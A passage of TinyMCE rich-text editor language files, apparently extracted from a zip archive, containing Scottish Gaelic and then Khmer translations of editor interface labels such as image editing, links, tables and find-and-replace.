"Dimensions": "Meudachd",
"Insert image": "Cuir a-steach dealbh",
"Zoom in": "S\u00f9m a-steach",
"Contrast": "Iomsgaradh",
"Back": "Air ais",
"Gamma": "Gamma",
"Flip horizontally": "Thoir flip air a\u2019 ch\u00f2mhnard",
"Resize": "Atharraich am meud",
"Sharpen": "Geuraich",
"Zoom out": "S\u00f9m a-mach",
"Image options": "Roghainnean an deilbh",
"Apply": "Cuir an s\u00e0s",
"Brightness": "Soilleireachd",
"Rotate clockwise": "Cuairtich gu deiseil",
"Rotate counterclockwise": "Cuairtich gu tuathail",
"Edit image": "Deasaich an dealbh",
"Color levels": "\u00ccrean nan dathan",
"Crop": "Bearr",
"Orientation": "Comhair",
"Flip vertically": "Thoir flip gu inghearach",
"Invert": "Ais-thionndaidh",
"Insert date\/time": "Cuir a-steach ceann-l\u00e0\/\u00e0m",
"Remove link": "Thoir air falbh an ceangal",
"Url": "URL",
"Text to display": "An teacsa a th\u00e8id a shealltainn",
"Anchors": "Acraichean",
"Insert link": "Cuir a-steach ceangal",
"New window": "Uinneag \u00f9r",
"None": "Chan eil gin",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Tha coltas gu bheil an URL a chuir thu a-steach 'na cheangal ris an taobh a-muigh. A bheil thu airson an ro-leasachan http:\/\/ a chur ris? Tha feum air.",
"Target": "Targaid",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Tha coltas gu bheil an URL a chuir thu a-steach 'na she\u00f2ladh puist-d. A bheil thu airson an ro-leasachan mailto: a chur ris? Tha feum air.",
"Insert\/edit link": "Cuir a-steach\/Deasaich an ceangal",
"Insert\/edit video": "Cuir a-steach\/Deasaich a' video",
"Poster": "P\u00f2stair",
"Alternative source": "Roghainn eile de th\u00f9s",
"Paste your embed code below:": "Cuir an c\u00f2d leabachaidh agad a-steach gu h-\u00ecosal:",
"Insert video": "Cuir a-steach video",
"Embed": "Leabaich",
"Nonbreaking space": "Be\u00e0rn neo-bhristidh",
"Page break": "Briseadh-duilleige",
"Paste as text": "Cuir ann mar theacsa",
"Preview": "Ro-shealladh",
"Print": "Cl\u00f2-bhuail",
"Save": "S\u00e0bhail",
"Could not find the specified string.": "Cha b' urrainn dhuinn na dh'iarr thu a lorg.",
"Replace": "Cuir 'na \u00e0ite",
"Next": "Air adhart",
"Whole words": "Faclan sl\u00e0na",
"Find and replace": "Lorg is cuir 'na \u00e0ite",
"Replace with": "Cuir na leanas 'na \u00e0ite",
"Find": "Lorg",
"Replace all": "Cuir an \u00e0ite na h-uile",
"Match case": "Maids litrichean m\u00f2ra 's beaga",
"Prev": "Air ais",
"Spellcheck": "Dearbhaich an litreachadh",
"Finish": "Cr\u00ecochnaich",
"Ignore all": "Leig seachad na h-uile",
"Ignore": "Leig seachad",
"Add to Dictionary": "Cuir ris an fhaclair",
"Insert row before": "Cuir a-steach r\u00e0gh roimhe",
"Rows": "R\u00e0ghan",
"Height": "\u00c0irde",
"Paste row after": "Cuir ann r\u00e0gh 'na dh\u00e8idh",
"Alignment": "Co-thaobhadh",
"Border color": "Dath an iomaill",
"Column group": "Buidheann cholbhan",
"Row": "R\u00e0gh",
"Insert column before": "Cuir a-steach colbh roimhe",
"Split cell": "Sgoilt an cealla",
"Cell padding": "Padadh nan ceallan",
"Cell spacing": "Be\u00e0rnadh nan ceallan",
"Row type": "Se\u00f2rsa an r\u00e0igh",
"Insert table": "Cuir a-steach cl\u00e0r",
"Body": "Bodhaig",
"Caption": "Caipsean",
"Footer": "Bann-coise",
"Delete row": "Sguab \u00e0s an r\u00e0gh",
"Paste row before": "Cuir ann r\u00e0gh roimhe",
"Scope": "Sg\u00f2p",
"Delete table": "Sguab \u00e0s an cl\u00e0r",
"H Align": "Co-thaobhadh c\u00f2mhnard",
"Top": "Barr",
"Header cell": "Cealla a' bhanna-chinn",
"Column": "Colbh",
"Row group": "Buidheann r\u00e0ghan",
"Cell": "Cealla",
"Middle": "Meadhan",
"Cell type": "Se\u00f2rsa a' chealla",
"Copy row": "D\u00e8an lethbhreac dhen r\u00e0gh",
"Row properties": "Roghainnean an r\u00e0igh",
"Table properties": "Roghainnean a' chl\u00e0ir",
"Bottom": "Bonn",
"V Align": "Co-thaobhadh inghearach",
"Header": "Bann-cinn",
"Right": "Deas",
"Insert column after": "Cuir a-steach colbh 'na dh\u00e8idh",
"Cols": "Colbhan",
"Insert row after": "Cuir a-steach r\u00e0gh 'na dh\u00e8idh",
"Width": "Leud",
"Cell properties": "Roghainnean a' chealla",
"Left": "Cl\u00ec",
"Cut row": "Gearr \u00e0s an r\u00e0gh",
"Delete column": "Sguab \u00e0s an colbh",
"Center": "Meadhan",
"Merge cells": "Co-aonaich na ceallan",
"Insert template": "Cuir a-steach teamplaid",
"Templates": "Teamplaidean",
"Background color": "Dath a\u2019 ch\u00f9laibh",
"Custom...": "Gn\u00e0thaichte...",
"Custom color": "Dath gn\u00e0thaichte",
"No color": "Gun dath",
"Text color": "Dath an teacsa",
"Show blocks": "Seall na blocaichean",
"Show invisible characters": "Seall na caractaran do-fhaicsinneach",
"Words: {0}": "Faclan: {0}",
"Insert": "Cuir a-steach",
"File": "Faidhle",
"Edit": "Deasaich",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Raon Rich Text. Br\u00f9th ALT-F9 airson a' chl\u00e0ir-thaice. Br\u00f9th ALT-F10 airson a' bh\u00e0r-inneal. Br\u00f9th ALT-0 airson na cobharach.",
"Tools": "Innealan",
"View": "Sealladh",
"Table": "Cl\u00e0r",
"Format": "F\u00f2rmat"
});PK
h�\̣̹ee!program/js/tinymce/langs/km_KH.jsnu�[���tinymce.addI18n('km_KH',{
"Redo": "\u1792\u17d2\u179c\u17be\u200b\u179c\u17b7\u1789",
"Undo": "\u1798\u17b7\u1793\u200b\u1792\u17d2\u179c\u17be\u200b\u179c\u17b7\u1789",
"Cut": "\u1780\u17b6\u178f\u17cb",
"Copy": "\u1785\u1798\u17d2\u179b\u1784",
"Paste": "\u1794\u17b7\u1791\u200b\u1797\u17d2\u1787\u17b6\u1794\u17cb",
"Select all": "\u1787\u17d2\u179a\u17be\u179f\u200b\u1791\u17b6\u17c6\u1784\u200b\u17a2\u179f\u17cb",
"New document": "\u17af\u1780\u179f\u17b6\u179a\u200b\u17a2\u178f\u17d2\u1790\u1794\u1791\u200b\u1790\u17d2\u1798\u17b8",
"Ok": "\u1796\u17d2\u179a\u1798",
"Cancel": "\u1794\u17c4\u17c7\u200b\u1794\u1784\u17cb",
"Visual aids": "\u1791\u17b7\u178a\u17d2\u178b\u1797\u17b6\u1796\u200b\u1787\u17c6\u1793\u17bd\u1799",
"Bold": "\u178a\u17b7\u178f",
"Italic": "\u1791\u17d2\u179a\u17c1\u178f",
"Underline": "\u1782\u17bc\u179f\u200b\u1794\u1793\u17d2\u1791\u17b6\u178f\u17cb\u200b\u1796\u17b8\u200b\u1780\u17d2\u179a\u17c4\u1798",
"Strikethrough": "\u1782\u17bc\u179f\u200b\u1794\u1793\u17d2\u1791\u17b6\u178f\u17cb\u200b\u1786\u17bc\u178f",
"Superscript": "\u17a2\u1780\u17d2\u179f\u179a\u200b\u178f\u17bc\u1785\u200b\u179b\u17be",
"Subscript": "\u17a2\u1780\u17d2\u179f\u179a\u200b\u178f\u17bc\u1785\u200b\u1780\u17d2\u179a\u17c4\u1798",
"Clear formatting": "\u179f\u1798\u17d2\u17a2\u17b6\u178f\u200b\u1791\u1798\u17d2\u179a\u1784\u17cb",
"Align left": "\u178f\u1798\u17d2\u179a\u17b9\u1798\u200b\u1791\u17c5\u200b\u1786\u17d2\u179c\u17c1\u1784",
"Align center": "\u178f\u1798\u17d2\u179a\u17b9\u1798\u200b\u1791\u17c5\u200b\u1780\u178e\u17d2\u178a\u17b6\u179b",
"Align right": "\u178f\u1798\u17d2\u179a\u17b9\u1798\u200b\u1791\u17c5\u200b\u179f\u17d2\u178a\u17b6\u17c6",
"Justify": "\u178f\u1798\u17d2\u179a\u17b9\u1798\u200b\u1796\u17c1\u1789",
"Bullet list": "\u1794\u1789\u17d2\u1787\u17b8\u200b\u1787\u17b6\u200b\u1785\u17c6\u178e\u17bb\u1785",
"Numbered list": "\u1794\u1789\u17d2\u1787\u17b8\u200b\u1787\u17b6\u200b\u179b\u17c1\u1781",
"Decrease indent": "\u1781\u17b7\u178f\u200b\u1794\u1793\u17d2\u1791\u17b6\u178f\u17cb\u200b\u1785\u17c1\u1789",
"Increase indent": "\u1781\u17b7\u178f\u200b\u1794\u1793\u17d2\u1791\u17b6\u178f\u17cb\u200b\u1785\u17bc\u179b",
"Close": "\u1794\u17b7\u1791",
"Formats": "\u1791\u17d2\u179a\u1784\u17cb\u1791\u17d2\u179a\u17b6\u1799",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u1780\u1798\u17d2\u1798\u179c\u17b7\u1792\u17b8\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u200b\u179a\u1794\u179f\u17cb\u200b\u17a2\u17d2\u1793\u1780\u200b\u1798\u17b7\u1793\u200b\u17a2\u17b6\u1785\u200b\u1785\u17bc\u179b\u200b\u1795\u17d2\u1791\u17b6\u179b\u17cb\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1783\u17d2\u179b\u17b8\u1794\u1794\u178f\u200b\u1791\u17c1\u17d4 \u179f\u17bc\u1798\u200b\u1794\u17d2\u179a\u17be Ctrl+X\/C\/V \u179b\u17be\u200b\u1780\u17d2\u178a\u17b6\u179a\u200b\u1785\u17bb\u1785\u200b\u1787\u17c6\u1793\u17bd\u179f\u200b\u179c\u17b7\u1789\u17d4",
"Headers": "\u1780\u17d2\u1794\u17b6\u179b",
"Header 1": "\u1780\u17d2\u1794\u17b6\u179b 1",
"Header 2": "\u1780\u17d2\u1794\u17b6\u179b 2",
"Header 3": "\u1780\u17d2\u1794\u17b6\u179b 3",
"Header 4": "\u1780\u17d2\u1794\u17b6\u179b 4",
"Header 5": "\u1780\u17d2\u1794\u17b6\u179b 5",
"Header 6": "\u1780\u17d2\u1794\u17b6\u179b 6",
"Headings": "\u1780\u17d2\u1794\u17b6\u179b",
"Heading 1": "\u1780\u17d2\u1794\u17b6\u179b 1",
"Heading 2": "\u1780\u17d2\u1794\u17b6\u179b 2",
"Heading 3": "\u1780\u17d2\u1794\u17b6\u179b 3",
"Heading 4": "\u1780\u17d2\u1794\u17b6\u179b 4",
"Heading 5": "\u1780\u17d2\u1794\u17b6\u179b 5",
"Heading 6": "\u1780\u17d2\u1794\u17b6\u179b 6",
"Div": "Div",
"Pre": "Pre",
"Code": "\u1780\u17bc\u178a",
"Paragraph": "\u1780\u1790\u17b6\u1781\u178e\u17d2\u178c",
"Blockquote": "\u1794\u17d2\u179b\u17bb\u1780\u200b\u1796\u17b6\u1780\u17d2\u1799\u200b\u179f\u1798\u17d2\u179a\u1784\u17cb",
"Inline": "\u1780\u17d2\u1793\u17bb\u1784\u200b\u1794\u1793\u17d2\u1791\u17b6\u178f\u17cb",
"Blocks": "\u1794\u17d2\u179b\u17bb\u1780",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u1780\u17b6\u179a\u200b\u1794\u17b7\u1791\u200b\u1797\u17d2\u1787\u17b6\u1794\u17cb\u200b\u1796\u17c1\u179b\u200b\u1793\u17c1\u17c7 \u179f\u17d2\u1790\u17b7\u178f\u200b\u1780\u17d2\u1793\u17bb\u1784\u200b\u1794\u17c2\u1794\u200b\u1795\u17c2\u1793\u200b\u17a2\u1780\u17d2\u179f\u179a\u200b\u1792\u1798\u17d2\u1798\u178f\u17b6\u17d4 \u1794\u1785\u17d2\u1785\u17bb\u1794\u17d2\u1794\u1793\u17d2\u1793\u200b\u1793\u17c1\u17c7 \u1798\u17b6\u178f\u17b7\u1780\u17b6\u200b\u1791\u17b6\u17c6\u1784\u200b\u17a1\u17b6\u1799\u200b\u1793\u17b9\u1784\u200b\u178f\u17d2\u179a\u17bc\u179c\u200b\u1794\u17b6\u1793\u200b\u1794\u17b7\u1791\u200b\u1797\u17d2\u1787\u17b6\u1794\u17cb\u200b\u1787\u17b6\u200b\u17a2\u1780\u17d2\u179f\u179a\u200b\u1792\u1798\u17d2\u1798\u178f\u17b6 \u179b\u17bb\u17c7\u178f\u17d2\u179a\u17b6\u200b\u178f\u17c2\u200b\u17a2\u17d2\u1793\u1780\u200b\u1794\u17b7\u1791\u200b\u1787\u1798\u17d2\u179a\u17be\u179f\u200b\u1793\u17c1\u17c7\u17d4",
"Font Family": "\u1782\u17d2\u179a\u17bd\u179f\u17b6\u179a\u200b\u1796\u17bb\u1798\u17d2\u1796\u200b\u17a2\u1780\u17d2\u179f\u179a",
"Font Sizes": "\u1791\u17c6\u17a0\u17c6\u200b\u17a2\u1780\u17d2\u179f\u179a",
"Class": "Class",
"Browse for an image": "\u179a\u1780\u1798\u17be\u179b\u200b\u179a\u17bc\u1794\u1797\u17b6\u1796",
"OR": "\u17ac",
"Drop an image here": "\u1791\u1798\u17d2\u179b\u17b6\u1794\u17cb\u200b\u179a\u17bc\u1794\u1797\u17b6\u1796\u200b\u1793\u17c5\u200b\u178f\u17d2\u179a\u1784\u17cb\u200b\u1793\u17c1\u17c7",
"Upload": "\u1795\u17d2\u1791\u17bb\u1780\u17a1\u17be\u1784",
"Default": "\u179b\u17c6\u1793\u17b6\u17c6\u200b\u178a\u17be\u1798",
"Circle": "\u1798\u17bc\u179b",
"Disc": "\u1790\u17b6\u179f",
"Square": "\u1787\u17d2\u179a\u17bb\u1784",
"Lower Alpha": "\u17a2\u1780\u17d2\u179f\u179a\u200b\u178f\u17bc\u1785",
"Lower Greek": "\u179b\u17c1\u1781\u200b\u1780\u17d2\u179a\u17b7\u1780\u200b\u178f\u17bc\u1785",
"Lower Roman": "\u179b\u17c1\u1781\u200b\u179a\u17c9\u17bc\u1798\u17c9\u17b6\u17c6\u1784\u200b\u178f\u17bc\u1785",
"Upper Alpha": "\u17a2\u1780\u17d2\u179f\u179a\u200b\u1792\u17c6",
"Upper Roman": "\u179b\u17c1\u1781\u200b\u179a\u17c9\u17bc\u1798\u17c9\u17b6\u17c6\u1784\u200b\u1792\u17c6",
"Anchor": "\u1799\u17bb\u1790\u17d2\u1780\u17b6",
"Name": "\u1788\u17d2\u1798\u17c4\u17c7",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id \u1782\u17bd\u179a\u178f\u17c2\u200b\u1795\u17d2\u178a\u17be\u1798\u200b\u1787\u17b6\u1798\u17bd\u1799\u200b\u178f\u17bd\u17a2\u1780\u17d2\u179f\u179a \u17a0\u17be\u1799\u200b\u1794\u1793\u17d2\u178f\u200b\u1787\u17b6\u1798\u17bd\u1799\u200b\u178f\u17c2\u200b\u178f\u17bd\u17a2\u1780\u17d2\u179f\u179a \u179b\u17c1\u1781 \u179f\u1789\u17d2\u1789\u17b6\u200b\u178a\u1780 \u179f\u1789\u17d2\u1789\u17b6\u200b\u1785\u17bb\u1785 \u179f\u1789\u17d2\u1789\u17b6\u200b\u1785\u17bb\u1785\u1796\u17b8\u179a \u17ac\u200b\u1794\u1793\u17d2\u1791\u17b6\u178f\u17cb\u200b\u1780\u17d2\u179a\u17c4\u1798\u17d4",
"You have unsaved changes are you sure you want to navigate away?": "\u1798\u17b6\u1793\u200b\u1794\u1793\u17d2\u179b\u17b6\u179f\u17cb\u200b\u1794\u17d2\u178a\u17bc\u179a\u200b\u1798\u17b7\u1793\u200b\u1791\u17b6\u1793\u17cb\u200b\u1794\u17b6\u1793\u200b\u179a\u1780\u17d2\u179f\u17b6\u200b\u1791\u17bb\u1780\u17d4 \u178f\u17be\u200b\u17a2\u17d2\u1793\u1780\u200b\u1796\u17b7\u178f\u200b\u1787\u17b6\u200b\u1785\u1784\u17cb\u200b\u1785\u17b6\u1780\u200b\u1785\u17c1\u1789\u200b\u1796\u17b8\u1791\u17b8\u1793\u17c1\u17c7\u200b\u1798\u17c2\u1793\u1791\u17c1?",
"Restore last draft": "\u179f\u17d2\u178a\u17b6\u179a\u200b\u179f\u17c1\u1785\u1780\u17d2\u178a\u17b8\u200b\u1796\u17d2\u179a\u17b6\u1784\u200b\u1796\u17b8\u200b\u1798\u17bb\u1793",
"Special character": "\u178f\u17bd\u200b\u17a2\u1780\u17d2\u179f\u179a\u200b\u1796\u17b7\u179f\u17c1\u179f",
"Source code": "\u17a2\u1780\u17d2\u179f\u179a\u200b\u1780\u17bc\u178a",
"Insert\/Edit code sample": "\u1794\u1789\u17d2\u1785\u17bc\u179b\/\u1780\u17c2\u179f\u1798\u17d2\u179a\u17bd\u179b \u1780\u17bc\u178a\u200b\u1782\u17c6\u179a\u17bc",
"Language": "\u1797\u17b6\u179f\u17b6",
"Color": "\u1796\u178e\u17cc",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u1786\u17d2\u179c\u17c1\u1784\u200b\u1791\u17c5\u200b\u179f\u17d2\u178a\u17b6\u17c6",
"Right to left": "\u179f\u17d2\u178a\u17b6\u17c6\u200b\u1791\u17c5\u200b\u1786\u17d2\u179c\u17c1\u1784",
"Emoticons": "\u179a\u17bc\u1794\u200b\u179f\u1789\u17d2\u1789\u17b6\u178e\u200b\u17a2\u17b6\u179a\u1798\u17d2\u1798\u178e\u17cd",
"Document properties": "\u179b\u1780\u17d2\u1781\u178e\u17c8\u200b\u179f\u1798\u17d2\u1794\u178f\u17d2\u178f\u17b7\u200b\u17af\u1780\u179f\u17b6\u179a",
"Title": "\u1785\u17c6\u178e\u1784\u200b\u1787\u17be\u1784",
"Keywords": "\u1796\u17b6\u1780\u17d2\u1799\u200b\u1782\u1793\u17d2\u179b\u17b9\u17c7",
"Description": "\u179f\u17c1\u1785\u1780\u17d2\u178a\u17b8\u200b\u17a2\u1792\u17b7\u1794\u17d2\u1794\u17b6\u1799",
"Robots": "\u179a\u17bc\u1794\u1799\u1793\u17d2\u178f",
"Author": "\u17a2\u17d2\u1793\u1780\u200b\u1793\u17b7\u1796\u1793\u17d2\u1792",
"Encoding": "\u1780\u17b6\u179a\u200b\u17a2\u17ca\u17b8\u1793\u1780\u17bc\u178a",
"Fullscreen": "\u1796\u17c1\u1789\u200b\u17a2\u17c1\u1780\u17d2\u179a\u1784\u17cb",
"Action": "\u179f\u1780\u1798\u17d2\u1798\u1797\u17b6\u1796",
"Shortcut": "\u1795\u17d2\u179b\u17bc\u179c\u1780\u17b6\u178f\u17cb",
"Help": "\u1787\u17c6\u1793\u17bd\u1799",
"Address": "\u17a2\u17b6\u179f\u1799\u178a\u17d2\u178b\u17b6\u1793",
"Focus to menubar": "\u1795\u17d2\u178a\u17c4\u178f\u200b\u1791\u17c5\u179b\u17be\u200b\u179a\u1794\u17b6\u179a\u200b\u1798\u17c9\u17ba\u1793\u17bb\u1799",
"Focus to toolbar": "\u1795\u17d2\u178a\u17c4\u178f\u200b\u1791\u17c5\u179b\u17be\u200b\u179a\u1794\u17b6\u179a\u200b\u17a7\u1794\u1780\u179a\u178e\u17cd",
"Focus to element path": "\u1795\u17d2\u178a\u17c4\u178f\u200b\u1791\u17c5\u179b\u17be\u200b\u1791\u17b8\u178f\u17b6\u17c6\u1784\u200b\u179a\u1794\u179f\u17cb\u200b\u1792\u17b6\u178f\u17bb",
"Focus to contextual toolbar": "\u1795\u17d2\u178a\u17c4\u178f\u200b\u1791\u17c5\u200b\u179b\u17be\u200b\u179a\u1794\u17b6\u179a\u17a7\u1794\u1780\u179a\u178e\u17cd\u200b\u178f\u17b6\u1798\u200b\u1794\u179a\u17b7\u1794\u1791",
"Insert link (if link plugin activated)": "\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u178f\u17c6\u178e (\u1794\u17d2\u179a\u179f\u17b7\u1793\u1794\u17be\u200b\u1780\u1798\u17d2\u1798\u179c\u17b7\u1792\u17b8 plugin \u1794\u17b6\u1793\u1794\u17be\u1780)",
"Save (if save plugin activated)": "\u179a\u1780\u17d2\u179f\u17b6\u1791\u17bb\u1780 (\u1794\u17d2\u179a\u179f\u17b7\u1793\u1794\u17be\u200b\u1780\u1798\u17d2\u1798\u179c\u17b7\u1792\u17b8 save \u1794\u17b6\u1793\u1794\u17be\u1780)",
"Find (if searchreplace plugin activated)": "\u179f\u17d2\u179c\u17c2\u1784\u179a\u1780 (\u1794\u17d2\u179a\u179f\u17b7\u1793\u200b\u1794\u17be\u200b\u1780\u1798\u17d2\u1798\u179c\u17b7\u1792\u17b8 searchreplace \u1794\u17b6\u1793\u200b\u1794\u17be\u1780)",
"Plugins installed ({0}):": "\u1780\u1798\u17d2\u1798\u179c\u17b7\u1792\u17b8\u200b\u1794\u1793\u17d2\u1790\u17c2\u1798\u200b\u178a\u17c2\u179b\u1794\u17b6\u1793\u200b\u178a\u17c6\u17a1\u17be\u1784 ({0})\u17d6",
"Premium plugins:": "\u1780\u1798\u17d2\u1798\u179c\u17b7\u1792\u17b8\u200b\u1782\u17b7\u178f\u200b\u1794\u17d2\u179a\u17b6\u1780\u17cb\u17d6",
"Learn more...": "\u179f\u17b7\u1780\u17d2\u179f\u17b6\u200b\u1794\u1793\u17d2\u1790\u17c2\u1798...",
"You are using {0}": "\u17a2\u17d2\u1793\u1780\u200b\u1780\u17c6\u1796\u17bb\u1784\u200b\u1794\u17d2\u179a\u17be {0}",
"Horizontal line": "\u1794\u1793\u17d2\u1791\u17b6\u178f\u17cb\u200b\u178a\u17c1\u1780",
"Insert\/edit image": "\u1794\u1789\u17d2\u1785\u17bc\u179b\/\u1780\u17c2 \u179a\u17bc\u1794\u200b\u1797\u17b6\u1796",
"Image description": "\u179f\u17c1\u1785\u1780\u17d2\u178a\u17b8\u200b\u17a2\u1792\u17b7\u1794\u17d2\u1794\u17b6\u1799\u200b\u1796\u17b8\u200b\u179a\u17bc\u1794",
"Source": "\u1794\u17d2\u179a\u1797\u1796",
"Dimensions": "\u179c\u17b7\u1798\u17b6\u178f\u17d2\u179a",
"Constrain proportions": " \u1794\u1784\u17d2\u1781\u17c6\u200b\u17b2\u17d2\u1799\u200b\u1798\u17b6\u1793\u200b\u179f\u1798\u17b6\u1798\u17b6\u178f\u17d2\u179a",
"General": "\u1791\u17bc\u1791\u17c5",
"Advanced": "\u1780\u1798\u17d2\u179a\u17b7\u178f\u200b\u1781\u17d2\u1796\u179f\u17cb",
"Style": "\u179a\u1785\u1793\u17b6\u1794\u1790",
"Vertical space": "\u179b\u17c6\u17a0\u200b\u1794\u1789\u17d2\u1788\u179a",
"Horizontal space": "\u179b\u17c6\u17a0\u200b\u1795\u17d2\u178a\u17c1\u1780",
"Border": "\u179f\u17ca\u17bb\u1798",
"Insert image": "\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u179a\u17bc\u1794\u200b\u1797\u17b6\u1796",
"Image": "\u179a\u17bc\u1794\u1797\u17b6\u1796",
"Image list": "\u1794\u1789\u17d2\u1787\u17b8\u179a\u17bc\u1794\u1797\u17b6\u1796",
"Rotate counterclockwise": "\u1794\u1784\u17d2\u179c\u17b7\u179b\u200b\u1785\u17d2\u179a\u17b6\u179f\u200b\u1791\u17d2\u179a\u1793\u17b7\u1785\u200b\u1793\u17b6\u17a1\u17b7\u1780\u17b6",
"Rotate clockwise": "\u1794\u1784\u17d2\u179c\u17b7\u179b\u200b\u179f\u17d2\u179a\u1794\u200b\u1791\u17d2\u179a\u1793\u17b7\u1785\u200b\u1793\u17b6\u17a1\u17b7\u1780\u17b6",
"Flip vertically": "\u178f\u17d2\u179a\u17a1\u1794\u17cb\u200b\u1794\u1789\u17d2\u1788\u179a",
"Flip horizontally": "\u178f\u17d2\u179a\u17a1\u1794\u17cb\u200b\u1795\u17d2\u178a\u17c1\u1780",
"Edit image": "\u1780\u17c2\u179f\u1798\u17d2\u179a\u17bd\u179b\u200b\u179a\u17bc\u1794\u1797\u17b6\u1796",
"Image options": "\u1787\u1798\u17d2\u179a\u17be\u179f\u200b\u179a\u17bc\u1794\u1797\u17b6\u1796",
"Zoom in": "\u1796\u1784\u17d2\u179a\u17b8\u1780",
"Zoom out": "\u1794\u1784\u17d2\u179a\u17bd\u1798",
"Crop": "\u1785\u17d2\u179a\u17b9\u1794",
"Resize": "\u1794\u17d2\u178a\u17bc\u179a\u200b\u1791\u17c6\u17a0\u17c6",
"Orientation": "\u1791\u17b7\u179f",
"Brightness": "\u1796\u1793\u17d2\u179b\u17ba",
"Sharpen": "\u1785\u17d2\u1794\u17b6\u179f\u17cb",
"Contrast": "\u1780\u1798\u17d2\u179a\u17b7\u178f\u200b\u1796\u178e\u17cc",
"Color levels": "\u1780\u1798\u17d2\u179a\u17b7\u178f\u200b\u1796\u178e\u17cc",
"Gamma": "\u17a0\u17d2\u1782\u17b6\u1798\u17c9\u17b6",
"Invert": "\u178a\u17b6\u1780\u17cb\u200b\u1794\u1789\u17d2\u1785\u17d2\u179a\u17b6\u179f",
"Apply": "\u17a2\u1793\u17bb\u179c\u178f\u17d2\u178f",
"Back": "\u1790\u1799\u1780\u17d2\u179a\u17c4\u1799",
"Insert date\/time": "\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u1780\u17b6\u179b\u200b\u1794\u179a\u17b7\u1785\u17d2\u1786\u17c1\u1791\/\u1798\u17c9\u17c4\u1784",
"Date\/time": "\u1780\u17b6\u179b\u1794\u179a\u17b7\u1785\u17d2\u1786\u17c1\u1791\/\u1798\u17c9\u17c4\u1784",
"Insert link": "\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u178f\u17c6\u178e",
"Insert\/edit link": "\u1794\u1789\u17d2\u1785\u17bc\u179b\/\u1780\u17c2 \u178f\u17c6\u178e",
"Text to display": "\u17a2\u1780\u17d2\u179f\u179a\u200b\u178f\u17d2\u179a\u17bc\u179c\u200b\u1794\u1784\u17d2\u17a0\u17b6\u1789",
"Url": "Url",
"Target": "\u1791\u17b7\u179f\u178a\u17c5",
"None": "\u1798\u17b7\u1793\u200b\u1798\u17b6\u1793",
"New window": "\u1795\u17d2\u1791\u17b6\u17c6\u1784\u200b\u179c\u17b8\u1793\u178a\u17bc\u200b\u1790\u17d2\u1798\u17b8",
"Remove link": "\u178a\u1780\u200b\u178f\u17c6\u178e\u200b\u1785\u17c1\u1789",
"Anchors": "\u1799\u17bb\u1790\u17d2\u1780\u17b6",
"Link": "\u178f\u17c6\u178e",
"Paste or type a link": "\u1794\u17b7\u1791\u1797\u17d2\u1787\u17b6\u1794\u17cb\u200b\u17ac\u200b\u179c\u17b6\u1799\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u178f\u17c6\u178e",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u17a2\u17d2\u1793\u1780\u200b\u1794\u17b6\u1793\u200b\u1794\u1789\u17d2\u1785\u17bc\u179b URL \u178a\u17c2\u179b\u200b\u1798\u17b6\u1793\u200b\u179f\u178e\u17d2\u178b\u17b6\u1793\u200b\u178a\u17bc\u1785\u200b\u17a2\u17b6\u179f\u1799\u178a\u17d2\u178b\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1798\u17c2\u179b\u17d4 \u178f\u17be\u200b\u17a2\u17d2\u1793\u1780\u200b\u1785\u1784\u17cb\u200b\u1794\u1793\u17d2\u1790\u17c2\u1798\u200b\u1794\u17bb\u1796\u17d2\u179c\u1794\u200b\u1791 mailto: \u178a\u17c2\u179a\u200b\u17ac\u1791\u17c1?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u17a2\u17d2\u1793\u1780\u200b\u1794\u17b6\u1793\u200b\u1794\u1789\u17d2\u1785\u17bc\u179b URL \u178a\u17c2\u179b\u200b\u1787\u17b6\u200b\u178f\u17c6\u178e\u200b\u1791\u17c5\u200b\u1781\u17b6\u1784\u200b\u1780\u17d2\u179a\u17c5\u17d4 \u178f\u17be\u200b\u17a2\u17d2\u1793\u1780\u200b\u1785\u1784\u17cb\u200b\u1794\u1793\u17d2\u1790\u17c2\u1798\u200b\u1794\u17bb\u1796\u17d2\u179c\u1794\u200b\u1791 http:\/\/ \u178a\u17c2\u179a\u200b\u17ac\u1791\u17c1?",
"Link list": "\u1794\u1789\u17d2\u1787\u17b8\u178f\u17c6\u178e",
"Insert video": "\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u179c\u17b8\u178a\u17c1\u17a2\u17bc",
"Insert\/edit video": "\u1794\u1789\u17d2\u1785\u17bc\u179b\/\u1780\u17c2 \u179c\u17b8\u178a\u17c1\u17a2\u17bc",
"Insert\/edit media": "\u1794\u1789\u17d2\u1787\u17bc\u179b\u200b\/\u1780\u17c2\u179f\u1798\u17d2\u179a\u17bd\u179b \u1798\u17c1\u178c\u17b6",
"Alternative source": "\u1794\u17d2\u179a\u1797\u1796\u200b\u178a\u1791\u17c3\u200b\u1791\u17c0\u178f",
"Poster": "\u17a2\u17d2\u1793\u1780\u200b\u1795\u17d2\u179f\u17b6\u1799",
"Paste your embed code below:": "\u1794\u17b7\u1791\u200b\u1797\u17d2\u1787\u17b6\u1794\u17cb\u200b\u1780\u17bc\u178a\u200b\u1794\u1784\u17d2\u1780\u1794\u17cb\u200b\u1793\u17c5\u200b\u1781\u17b6\u1784\u200b\u1780\u17d2\u179a\u17c4\u1798:",
"Embed": "\u1794\u1784\u17d2\u1780\u1794\u17cb",
"Media": "\u1798\u17c1\u178c\u17b6",
"Nonbreaking space": "\u178a\u17c6\u178e\u1780\u200b\u1783\u17d2\u179b\u17b6\u200b\u1798\u17b7\u1793\u200b\u1794\u17c6\u1794\u17c2\u1780",
